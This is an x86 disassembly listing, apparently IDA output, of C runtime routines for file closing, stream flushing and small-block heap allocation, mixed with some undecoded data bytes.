		dd 0A300004Fh, 4D9788h,	4D2AE8h, 4C6CE800h, 99E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2481E88h, 4BFDE8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 65E89056h, 5002271Eh, 0FE3080E8h,	0A04589FFh
		dd 0DD87E850h, 458BFFFFh, 8B088BECh, 984D8909h,	3BE85150h
		dd 5900004Ah, 658BC359h, 9875FFE8h, 0FFDD79E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E1C9	proc near		; CODE XREF: ___:0041D7D8p
					; ___:00422E20p ...

arg_0		= dword	ptr  4

		cmp	dword_4D9790, 1
		jnz	short loc_41E1D7
		call	sub_423498


loc_41E1D7:				; CODE XREF: sub_41E1C9+7j
		push	[esp+arg_0]
		call	sub_4234D1
		push	0FFh
		call	off_43A670
		pop	ecx
		pop	ecx
		retn
sub_41E1C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4D9790
		dd 0E8057501h, 529Ch, 42474FFh,	52CCE8h, 0FF685900h, 0E8000000h
		dd 77A57AA5h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E212	proc near		; CODE XREF: sub_41B9DB+2Ap
					; sub_42393B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DAB60
		jnb	loc_41E2AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DAA60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E2AC
		push	edi
		call	sub_4237AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E28B
		cmp	edi, 1
		jz	short loc_41E259
		cmp	edi, 2
		jnz	short loc_41E26F


loc_41E259:				; CODE XREF: sub_41E212+40j
		push	2
		call	sub_4237AA
		push	1
		mov	ebp, eax
		call	sub_4237AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E28B


loc_41E26F:				; CODE XREF: sub_41E212+45j
		push	edi
		call	sub_4237AA
		pop	ecx
		push	eax
		nop
		call	near ptr 266053Bh
		test	eax, eax
		jnz	short loc_41E28B
		call	near ptr 26807F9h
		nop
		mov	ebp, eax
		jmp	short loc_41E28D
; ---------------------------------------------------------------------------


loc_41E28B:				; CODE XREF: sub_41E212+3Bj
					; sub_41E212+5Bj ...
		xor	ebp, ebp


loc_41E28D:				; CODE XREF: sub_41E212+77j
		push	edi
		call	sub_423730
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E2A8
		push	ebp
		call	sub_420314
		pop	ecx
		jmp	short loc_41E2BD
; ---------------------------------------------------------------------------


loc_41E2A8:				; CODE XREF: sub_41E212+8Bj
		xor	eax, eax
		jmp	short loc_41E2C0
; ---------------------------------------------------------------------------


loc_41E2AC:				; CODE XREF: sub_41E212+Ej
					; sub_41E212+2Fj
		and	dword_4D9718, 0
		mov	dword_4D9714, 9


loc_41E2BD:				; CODE XREF: sub_41E212+94j
		or	eax, 0FFFFFFFFh


loc_41E2C0:				; CODE XREF: sub_41E212+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E212	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2C5	proc near		; CODE XREF: sub_41B9DB+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E2EE
		test	al, 8
		jz	short loc_41E2EE
		push	dword ptr [esi+8]
		call	sub_41BA31
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E2EE:				; CODE XREF: sub_41E2C5+Aj
					; sub_41E2C5+Ej
		pop	esi
		retn
sub_41E2C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2F0	proc near		; CODE XREF: sub_41E390+2Dp
					; sub_41E390+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E302
		push	esi
		call	sub_41E390
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E302:				; CODE XREF: sub_41E2F0+7j
		push	esi
		call	sub_41E32B
		test	eax, eax
		pop	ecx
		jz	short loc_41E312
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E312:				; CODE XREF: sub_41E2F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E327
		push	dword ptr [esi+10h]
		call	sub_4237E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E327:				; CODE XREF: sub_41E2F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E2F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E32B	proc near		; CODE XREF: sub_41B9DB+1Ap
					; ___:0041D9C3p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E378
		test	ax, 108h
		jz	short loc_41E378
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E378
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_422825
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E371
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E378
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E378
; ---------------------------------------------------------------------------


loc_41E371:				; CODE XREF: sub_41E32B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E378:				; CODE XREF: sub_41E32B+14j
					; sub_41E32B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E32B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E387	proc near		; CODE XREF: sub_4238E3p
		push	1
		call	sub_41E390
		pop	ecx
		retn
sub_41E387	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E390	proc near		; CODE XREF: sub_41E2F0+Ap
					; sub_41E387+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DAA40, esi
		jle	short loc_41E3EE


loc_41E3A1:				; CODE XREF: sub_41E390+5Cj
		mov	eax, dword_4D9A30
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E3E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E3E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E3CB
		push	eax
		call	sub_41E2F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E3E5
		inc	ebx
		jmp	short loc_41E3E5
; ---------------------------------------------------------------------------


loc_41E3CB:				; CODE XREF: sub_41E390+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E3E5
		test	cl, 2
		jz	short loc_41E3E5
		push	eax
		call	sub_41E2F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E3E5
		or	edi, eax


loc_41E3E5:				; CODE XREF: sub_41E390+1Bj
					; sub_41E390+23j ...
		inc	esi
		cmp	esi, dword_4DAA40
		jl	short loc_41E3A1


loc_41E3EE:				; CODE XREF: sub_41E390+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E3F9
		mov	eax, edi


loc_41E3F9:				; CODE XREF: sub_41E390+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E390	endp

; ---------------------------------------------------------------------------
		db 33h,	0C0h, 6Ah
		dd 24443900h, 10006808h, 940F0000h, 0EDE850C0h,	9002491Bh
		dd 0A0A3C085h, 74004DADh, 17E815h, 0C0850000h, 35FF0F75h
		dd 4DADA0h, 3613E890h, 0C0330248h, 58016AC3h, 14068C3h
		dd 6A0000h, 0ADA035FFh,	0E890004Dh, 23B1BB4h, 9CA3C085h
		dd 75004DADh, 2583C301h, 4DAD94h, 98258300h, 4DADh, 90A3016Ah
		dd 0C7004DADh, 4DAD8805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E477	proc near		; CODE XREF: sub_41BA31+Ap
					; sub_41BB48+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DAD98
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DAD9C
		lea	ecx, [eax+ecx*4]


loc_41E487:				; CODE XREF: sub_41E477+26j
		cmp	eax, ecx
		jnb	short loc_41E49F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E4A1
		add	eax, 14h
		jmp	short loc_41E487
; ---------------------------------------------------------------------------


loc_41E49F:				; CODE XREF: sub_41E477+12j
		xor	eax, eax

locret_41E4A1:				; CODE XREF: sub_41E477+21j
		retn
sub_41E477	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E4A2	proc near		; CODE XREF: sub_41BA31+16p
					; sub_41BB48+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_41E568
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_41E4FA
		mov	[ebp+arg_4], edi


loc_41E4FA:				; CODE XREF: sub_41E4A2+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_41E54C
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41E528
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41E54C
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_41E54C
; ---------------------------------------------------------------------------


loc_41E528:				; CODE XREF: sub_41E4A2+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41E54C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_41E54C:				; CODE XREF: sub_41E4A2+60j
					; sub_41E4A2+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_41E568:				; CODE XREF: sub_41E4A2+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_41E576
		push	3Fh
		pop	edi


loc_41E576:				; CODE XREF: sub_41E4A2+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_41E625
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_41E5A1
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_41E5A1:				; CODE XREF: sub_41E4A2+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_41E5B3
		mov	edi, edx


loc_41E5B3:				; CODE XREF: sub_41E4A2+10Dj
		cmp	ecx, edi
		jz	short loc_41E622
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_41E60A
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41E5E6
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41E60A
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_41E60A
; ---------------------------------------------------------------------------


loc_41E5E6:				; CODE XREF: sub_41E4A2+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41E60A
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_41E60A:				; CODE XREF: sub_41E4A2+11Ej
					; sub_41E4A2+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_41E622:				; CODE XREF: sub_41E4A2+113j
		mov	edx, [ebp+var_8]


loc_41E625:				; CODE XREF: sub_41E4A2+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_41E634
		cmp	[ebp+arg_4], edi
		jz	loc_41E6BD


loc_41E634:				; CODE XREF: sub_41E4A2+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E6BD
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E691
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E680
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E680:				; CODE XREF: sub_41E4A2+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E6BA
; ---------------------------------------------------------------------------


loc_41E691:				; CODE XREF: sub_41E4A2+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E6A7
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E6A7:				; CODE XREF: sub_41E4A2+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_41E6BA:				; CODE XREF: sub_41E4A2+1EDj
		mov	ebx, [ebp+var_C]


loc_41E6BD:				; CODE XREF: sub_41E4A2+18Cj
					; sub_41E4A2+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_41E7C8
		mov	eax, dword_4DAD94
		test	eax, eax
		jz	loc_41E7BA
		mov	ecx, dword_4DAD8C
		mov	edi, dword_4271D0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi
		mov	ecx, dword_4DAD8C
		mov	eax, dword_4DAD94
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DAD94
		mov	ecx, dword_4DAD8C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DAD94
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DAD94
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E748
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DAD94


loc_41E748:				; CODE XREF: sub_41E4A2+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E7BA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi
		mov	eax, dword_4DAD94
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DADA0
		call	near ptr 27C0000h
		nop
		mov	eax, dword_4DAD98
		mov	edx, dword_4DAD9C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DAD94
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D400
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DAD98
		cmp	eax, dword_4DAD94
		jbe	short loc_41E7AC
		sub	eax, 14h


loc_41E7AC:				; CODE XREF: sub_41E4A2+305j
		mov	ecx, dword_4DAD9C
		mov	dword_4DAD90, ecx
		jmp	short loc_41E7BD
; ---------------------------------------------------------------------------


loc_41E7BA:				; CODE XREF: sub_41E4A2+233j
					; sub_41E4A2+2AAj
		mov	eax, [ebp+arg_0]


loc_41E7BD:				; CODE XREF: sub_41E4A2+316j
		mov	dword_4DAD94, eax
		mov	dword_4DAD8C, esi


loc_41E7C8:				; CODE XREF: sub_41E4A2+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E4A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E7CD	proc near		; CODE XREF: sub_41BB48+69p
					; sub_41BCD9+Ep ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DAD98
		mov	edx, dword_4DAD9C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E80D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E81D
; ---------------------------------------------------------------------------


loc_41E80D:				; CODE XREF: sub_41E7CD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E81D:				; CODE XREF: sub_41E7CD+3Ej
		mov	eax, dword_4DAD90
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E844


loc_41E82B:				; CODE XREF: sub_41E7CD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E844
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E82B


loc_41E844:				; CODE XREF: sub_41E7CD+5Cj
					; sub_41E7CD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E8C2
		mov	ebx, edx


loc_41E84B:				; CODE XREF: sub_41E7CD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E867
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E865
		add	ebx, 14h
		jmp	short loc_41E84B
; ---------------------------------------------------------------------------


loc_41E865:				; CODE XREF: sub_41E7CD+91j
		cmp	ebx, eax


loc_41E867:				; CODE XREF: sub_41E7CD+83j
		jnz	short loc_41E8C2


loc_41E869:				; CODE XREF: sub_41E7CD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E87F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E87C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E869
; ---------------------------------------------------------------------------


loc_41E87C:				; CODE XREF: sub_41E7CD+A5j
		cmp	ebx, [ebp+var_4]


loc_41E87F:				; CODE XREF: sub_41E7CD+9Fj
		jnz	short loc_41E8A7
		mov	ebx, edx


loc_41E883:				; CODE XREF: sub_41E7CD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E897
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E895
		add	ebx, 14h
		jmp	short loc_41E883
; ---------------------------------------------------------------------------


loc_41E895:				; CODE XREF: sub_41E7CD+C1j
		cmp	ebx, eax


loc_41E897:				; CODE XREF: sub_41E7CD+BBj
		jnz	short loc_41E8A7
		call	sub_41EAD6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E8BB


loc_41E8A7:				; CODE XREF: sub_41E7CD:loc_41E87Fj
					; sub_41E7CD:loc_41E897j
		push	ebx
		call	sub_41EB87
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E8C2


loc_41E8BB:				; CODE XREF: sub_41E7CD+D8j
		xor	eax, eax
		jmp	loc_41EAD1
; ---------------------------------------------------------------------------


loc_41E8C2:				; CODE XREF: sub_41E7CD+7Aj
					; sub_41E7CD:loc_41E867j ...
		mov	dword_4DAD90, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E8E9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E920


loc_41E8E9:				; CODE XREF: sub_41E7CD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E91D


loc_41E906:				; CODE XREF: sub_41E7CD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E906


loc_41E91D:				; CODE XREF: sub_41E7CD+137j
		mov	edx, [ebp+var_4]


loc_41E920:				; CODE XREF: sub_41E7CD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E949
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E949:				; CODE XREF: sub_41E7CD+16Dj
					; sub_41E7CD+183j
		test	ecx, ecx
		jl	short loc_41E952
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E949
; ---------------------------------------------------------------------------


loc_41E952:				; CODE XREF: sub_41E7CD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E96F
		push	3Fh
		pop	esi


loc_41E96F:				; CODE XREF: sub_41E7CD+19Dj
		cmp	esi, edi
		jz	loc_41EA84
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E9E0
		cmp	edi, 20h
		jge	short loc_41E9AF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E9DD
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E9E0
; ---------------------------------------------------------------------------


loc_41E9AF:				; CODE XREF: sub_41E7CD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E9DD
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E9E0
; ---------------------------------------------------------------------------


loc_41E9DD:				; CODE XREF: sub_41E7CD+1D6j
					; sub_41E7CD+203j
		mov	ebx, [ebp+arg_0]


loc_41E9E0:				; CODE XREF: sub_41E7CD+1B0j
					; sub_41E7CD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41EA90
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EA81
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41EA52
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41EA40
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41EA40:				; CODE XREF: sub_41E7CD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41EA81
; ---------------------------------------------------------------------------


loc_41EA52:				; CODE XREF: sub_41E7CD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41EA6B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41EA6B:				; CODE XREF: sub_41E7CD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41EA81:				; CODE XREF: sub_41E7CD+24Ej
					; sub_41E7CD+283j
		mov	ecx, [ebp+var_8]


loc_41EA84:				; CODE XREF: sub_41E7CD+1A4j
		test	ecx, ecx
		jz	short loc_41EA93
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41EA93
; ---------------------------------------------------------------------------


loc_41EA90:				; CODE XREF: sub_41E7CD+229j
		mov	ecx, [ebp+var_8]


loc_41EA93:				; CODE XREF: sub_41E7CD+2B9j
					; sub_41E7CD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41EAC9
		cmp	ebx, dword_4DAD94
		jnz	short loc_41EAC9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DAD8C
		jnz	short loc_41EAC9
		and	dword_4DAD94, 0


loc_41EAC9:				; CODE XREF: sub_41E7CD+2E0j
					; sub_41E7CD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41EAD1:				; CODE XREF: sub_41E7CD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E7CD	endp


